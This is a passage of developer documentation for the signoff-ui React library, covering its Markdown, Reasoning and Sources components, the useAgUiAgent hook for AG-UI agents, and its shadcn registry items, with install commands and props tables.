`: `className`, `id`, `aria-*`, `data-*` and event handlers.
#### SourceItem
A source in app-level shape. AI SDK `source-url` / `source-document` parts are accepted too.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` | | |
| `url` | `string` | | |
| `title` | `string` | | |
| `description` | `string` | | Optional snippet shown in the cards variant. |
| `filename` | `string` | | For documents. |
| `mediaType` | `string` | | |
### Accessibility
- An ordered list named by `label` ("Sources"), not a landmark, so a long conversation doesn’t flood landmark navigation.
- Links open in a new tab and say so to screen readers: "(opens in a new tab)".
- Each item has the id `${idPrefix}-${n}`, which `[n]` citation links in `Markdown` and `AgentMessage` point to.
- It has no state and no `'use client'`, so it renders in Server Components too.
### Theming
Slots (`data-slot`): `signoff-sources`.
- `data-variant` on `signoff-sources`: 'chips' | 'cards'
Tokens it uses: `--signoff-accent-fg`, `--signoff-border`, `--signoff-border-strong`, `--signoff-fg`, `--signoff-fg-muted`, `--signoff-fg-subtle`, `--signoff-font-mono`, `--signoff-font-sans`, `--signoff-ring`, `--signoff-surface`, `--signoff-surface-2`. See https://signoff-ui.vercel.app/docs/getting-started#theming.
## Markdown
> Streaming-safe GFM: unterminated syntax closed while streaming, no raw HTML, images only from hosts you allow.
Source: https://signoff-ui.vercel.app/docs/components/markdown
### Installation
From npm:
```bash
npm i signoff-ui ai
```
```tsx
import { Markdown } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```
Or as source, with the shadcn CLI:
```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/markdown.json
```
```tsx
import { Markdown } from '@/components/signoff-ui/markdown';
```
### Usage
```tsx
{part.text}
```
### How it works
Streaming-safe GitHub-flavored markdown: unterminated syntax is closed while the text streams, raw HTML is never rendered, and `javascript:` and `data:` URLs are stripped. `[n]` markers link to the message's sources, and a caret follows the text while it streams. It takes the same `allowedImageHosts` as `AgentMessage`.
The whole text is parsed again on every delta, which gets slow for very long streamed answers; [Performance and limits](https://signoff-ui.vercel.app/docs/limits) has the numbers.
### API reference
#### Markdown
Streaming-safe markdown (GFM). While `streaming`, unterminated emphasis, code
and links are closed before parsing so partial output never flashes raw syntax.
Raw HTML is not rendered, links and images with unsafe protocols (`javascript:`,
`data:`) are stripped, and images load only from `allowedImageHosts`.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `children` (required) | `string` | | |
| `streaming` | `boolean` | `false` | Repairs unterminated syntax and shows a caret while text is still arriving. |
| `citations` | `number` | `0` | Number of available sources; `[n]` markers up to this count become citation links. |
| `citationPrefix` | `string` | `'source'` | Must match the `idPrefix` of the `Sources` the citations point to. |
| `allowedImageHosts` | `readonly string[]` | | Where images may load from. Default: nowhere. The browser fetches an image as soon as it renders, so a URL in model output can leak data (``); a blocked image renders as a link with its alt text, and nothing is requested. - A host name of http(s) URLs, matched exactly: `'images.example.com'` (any port), or `'localhost:3000'` (that port only). - `'self'`: relative URLs (`/logo.png`, `./chart.png`), which load from your own origin. `//host/x` is not relative. An absolute URL to your own site needs its host listed. - `'*'`: every image. Compared by value, so an inline array does not re-render the markdown. |
| `components` | `Components` | | Element overrides, merged over the defaults. Keep the object stable: a new one re-renders the markdown. |
| `className` | `string` | | |
| `labels` | `SignoffLabelsInput` | | Words to use instead of the English defaults: see `SignoffLabelsProvider`. Keep the object stable. |
### Accessibility
- Raw HTML in model output is never rendered, and links and images with `javascript:` or `data:` URLs are stripped.
- Images load only from `allowedImageHosts`. Others render as a link with their alt text, read as "Image:", and nothing is requested.
- `[n]` markers up to `citations` become links named "Source n".
- The streaming caret is hidden from screen readers.
### Theming
Slots (`data-slot`): `signoff-markdown`.
Tokens it uses: `--signoff-accent`, `--signoff-accent-fg`, `--signoff-bg`, `--signoff-border`, `--signoff-border-strong`, `--signoff-fg`, `--signoff-fg-muted`, `--signoff-fg-subtle`, `--signoff-font-mono`, `--signoff-font-sans`, `--signoff-ring`, `--signoff-surface-2`. See https://signoff-ui.vercel.app/docs/getting-started#theming.
## Reasoning
> The model’s reasoning: open while it thinks, then one line, "Thought for 3.2s".
Source: https://signoff-ui.vercel.app/docs/components/reasoning
### Installation
From npm:
```bash
npm i signoff-ui ai
```
```tsx
import { Reasoning } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```
Or as source, with the shadcn CLI:
```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/reasoning.json
```
```tsx
import { Reasoning } from '@/components/signoff-ui/reasoning';
```
### Usage
```tsx
```
### How it works
The model's reasoning, open while it streams and collapsed once it's done (unless you opened or closed it yourself), with how long the model thought ("Thought for 1.7s"). The text renders through `Markdown`, with the same `allowedImageHosts`.
### API reference
#### Reasoning
Collapsible model reasoning. Opens automatically while the model thinks and
collapses to a one-line "Thought for 3.2s" summary when it finishes, unless
the user has toggled it.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `text` (required) | `string` | | |
| `streaming` | `boolean` | `false` | The model is still reasoning. The panel opens while streaming and closes when done. |
| `durationMs` | `number` | | Known reasoning duration in ms. Measured client-side when omitted. |
| `defaultOpen` | `boolean` | | |
| `open` | `boolean` | | |
| `onOpenChange` | `(open: boolean) => void` | | |
| `allowedImageHosts` | `readonly string[]` | | Where images in the reasoning may load from: host names, `'self'` or `'*'`. See `MarkdownProps.allowedImageHosts`. |
| `renderMarkdown` | `MarkdownRenderer` | | Renders the reasoning's text instead of the built-in `Markdown`, as `AgentMessage`'s `renderMarkdown` does. Overrides `MarkdownRendererProvider`. |
| `labels` | `SignoffLabelsInput` | | Words to use instead of the English defaults: see `SignoffLabelsProvider`. |
Other props go to the root `
`: `className`, `id`, `aria-*`, `data-*` and event handlers.
### Accessibility
| Keys | Action |
| --- | --- |
| Enter Space | Show or hide the reasoning |
- A disclosure: the summary is a button with `aria-expanded`, and the text is the region it controls.
- It opens on its own while the model thinks and closes when it finishes, unless the reader opened or closed it themselves.
- The open and close animation runs only without `prefers-reduced-motion`.
### Theming
Slots (`data-slot`): `signoff-reasoning`.
- `data-streaming` on `signoff-reasoning`: set while the model is thinking
Tokens it uses: `--signoff-accent`, `--signoff-border-strong`, `--signoff-fg`, `--signoff-fg-muted`, `--signoff-font-sans`, `--signoff-ring`. See https://signoff-ui.vercel.app/docs/getting-started#theming.
## useAgUiAgent
> An AG-UI agent’s run as AI SDK messages, status, usage and approvals, for the same components.
Source: https://signoff-ui.vercel.app/docs/components/use-ag-ui-agent
### Installation
From npm:
```bash
npm i signoff-ui ai @ag-ui/client
```
```tsx
import { useAgUiAgent } from 'signoff-ui/ag-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```
Or as source, with the shadcn CLI:
```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/ag-ui.json
```
```tsx
import { useAgUiAgent } from '@/components/signoff-ui/use-ag-ui-agent';
```
### Usage
```tsx
const agent = new HttpAgent({ url: '/api/agent' }); // once, outside the component
function AgentRun() {
const { messages, status, usage, step, respond } = useAgUiAgent(agent);
const last = messages.findLast((m) => m.role === 'assistant');
const { state, detail } = deriveAgentState({ status, message: last });
return (
<>
{last && }
>
);
}
```
### How it works
Takes any `@ag-ui/client` agent (`HttpAgent`, or a framework integration's own `AbstractAgent`) and turns its messages and events into AI SDK message parts, so every component works with it unchanged, approvals included. Interrupts bound to a tool call become approval cards, and `respond` resumes the run. [AG-UI agents](https://signoff-ui.vercel.app/docs/ag-ui) has the event mapping, LangGraph and the pure functions behind the hook.
### API reference
#### useAgUiAgent
Render an AG-UI agent with these components: its messages as AI SDK parts, run status, usage,
and tool-call interrupts as approvals.
```tsx
const agent = useMemo(() => new HttpAgent({ url: '/api/agent' }), []);
const { messages, status, respond } = useAgUiAgent(agent);
```
```ts
useAgUiAgent(agent: AgUiAgentLike): UseAgUiAgentResult
```
Parameter, `AgUiAgentLike`:
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `messages` (required) | `readonly AgUiMessage[]` | | |
| `subscribe` (required) | `(subscriber: AgUiSubscriber) => { unsubscribe(): void; }` | | |
| `runAgent` (required) | `(parameters?: { resume?: AgUiResumeEntry[]; }) => Promise` | | |
| `pendingInterrupts` | `readonly AgUiInterrupt[]` | | |
| `abortRun` | `() => void` | | |
Returns `UseAgUiAgentResult`:
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `messages` (required) | `UIMessage[]` | | The conversation as AI SDK messages: pass each to `AgentMessage`. |
| `status` (required) | `ChatStatus` ('error' \| 'streaming' \| 'submitted' \| 'ready') | | `useChat`-style status, for `deriveAgentState` and `AgentStatus`. |
| `error` (required) | `AgUiRunState['error']` | | |
| `usage` (required) | `RunUsage` | | Token usage summed over the runs seen, for `RunMeter`. |
| `step` (required) | `string` | | The step in progress, e.g. a LangGraph node. |
| `interrupts` (required) | `AgUiInterrupt[]` | | Open interrupts. Those bound to a tool call show as approval cards; answer the rest with `resolve`. |
| `respond` (required) | `(response: AgUiApprovalResponse) => Promise` | | Answer a tool-call interrupt. Pass it as `AgentMessage`'s `onToolApproval`. The agent resumes once every open interrupt has an answer, since AG-UI resumes them all in one run. |
| `resolve` (required) | `(entry: AgUiResumeEntry) => Promise` | | Answer any interrupt with your own payload (match its `responseSchema`). |
| `editInput` (required) | `(toolCallId: string, input: unknown) => void` | | Arguments a person edited for a tool call, sent as the approval's `input` when it is approved. Pass it as `AgentMessage`'s `onToolInputEdit`, so approval cards offer editing. |
| `stop` (required) | `() => void` | | Abort the run in progress. It ends like a cancelled run: what was streaming stays cut off, which `deriveAgentState` reads as `stopped`. |
#### AgUiInterrupt
A pause for human input (AG-UI `Interrupt`). `toolCallId` binds it to a tool call to approve.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` | | |
| `reason` (required) | `string` | | |
| `message` | `string` | | |
| `toolCallId` | `string` | | |
| `responseSchema` | `Record` | | |
#### AgUiApprovalResponse
A tool approval, as `ToolApprovalCard` and `AgentMessage`'s `onToolApproval` give it.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` | | |
| `approved` (required) | `boolean` | | |
| `reason` | `string` | | |
| `input` | `unknown` | | Arguments the person edited, sent with an approval as the payload's `input`. |
#### AgUiResumeEntry
An answer to an interrupt, sent in `RunAgentInput.resume` (AG-UI `ResumeEntry`).
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `interruptId` (required) | `string` | | |
| `status` (required) | `'resolved' \| 'cancelled'` | | |
| `payload` | `unknown` | | |
### Accessibility
- A hook with no markup of its own: the components it feeds carry the behavior on their pages.
- A tool-call interrupt becomes an approval card with the same keyboard and announcements as an AI SDK approval.
## shadcn registry items
- `diff-review` (Diff Review): Review agent edits across files: accept or reject hunks or whole files, comment on lines, mark files viewed, from the keyboard; returns the applied files, rejected hunks and comments. `npx shadcn@latest add https://signoff-ui.vercel.app/r/diff-review.json`
- `use-diff-review` (useDiffReview): DiffReview without its markup: parsing (in a worker for large files), decisions, line comments, viewed files, context and the keyboard, for your own design system. `npx shadcn@latest add https://signoff-ui.vercel.app/r/use-diff-review.json`
- `approval-card` (Approval Card): Approve or deny a tool call once, for the session or always, by tool and argument pattern: an args preview, editable arguments, risk levels, a denial reason, a key per choice, approve all pending. `npx shadcn@latest add https://signoff-ui.vercel.app/r/approval-card.json`
- `use-approval-policy` (useApprovalPolicy): Approval rules without markup: once, session or always, by tool and argument glob, deny winning; pluggable storage, an audit trail, and the same rules as AI SDK 7 toolApproval. `npx shadcn@latest add https://signoff-ui.vercel.app/r/use-approval-policy.json`
- `agent-message` (Agent Message): Renders an assistant UIMessage: markdown, reasoning, grouped tool calls, inline approvals and sources. `npx shadcn@latest add https://signoff-ui.vercel.app/r/agent-message.json`
- `tool-call-timeline` (Tool Call Timeline): Vertical timeline of AI SDK tool calls with live states, durations, a waterfall and expandable input/output. `npx shadcn@latest add https://signoff-ui.vercel.app/r/tool-call-timeline.json`
- `run-meter` (Run Meter): Tokens, estimated cost and latency (TTFT, total) for an agent run, compact or expanded. `npx shadcn@latest add https://signoff-ui.vercel.app/r/run-meter.json`
- `agent-status` (Agent Status): Run state pill (thinking, working, waiting for approval, done, stopped, error) announced through an aria-live region. `npx shadcn@latest add https://signoff-ui.vercel.app/r/agent-status.json`
- `sources` (Sources): Citation chips and cards for AI SDK source-url and source-document parts. `npx shadcn@latest add https://signoff-ui.vercel.app/r/sources.json`
- `markdown` (Markdown): Streaming-safe GFM markdown with linked [n] citations and a typing caret. `npx shadcn@latest add https://signoff-ui.vercel.app/r/markdown.json`
- `reasoning` (Reasoning): Collapsible model reasoning that opens while streaming and summarizes its duration. `npx shadcn@latest add https://signoff-ui.vercel.app/r/reasoning.json`
- `ag-ui` (AG-UI Adapter): useAgUiAgent: renders any AG-UI agent (LangGraph, CrewAI, Mastra, Pydantic AI) with these components, interrupts as approvals. `npx shadcn@latest add https://signoff-ui.vercel.app/r/ag-ui.json`
- `assistant-ui` (assistant-ui Tool UIs): signoffTools for MessagePrimitive.Parts: DiffReview for assistant-ui tool calls that propose files, its result sent back with addResult, and the approval card with approval rules for calls at an approval gate. `npx shadcn@latest add https://signoff-ui.vercel.app/r/assistant-ui.json`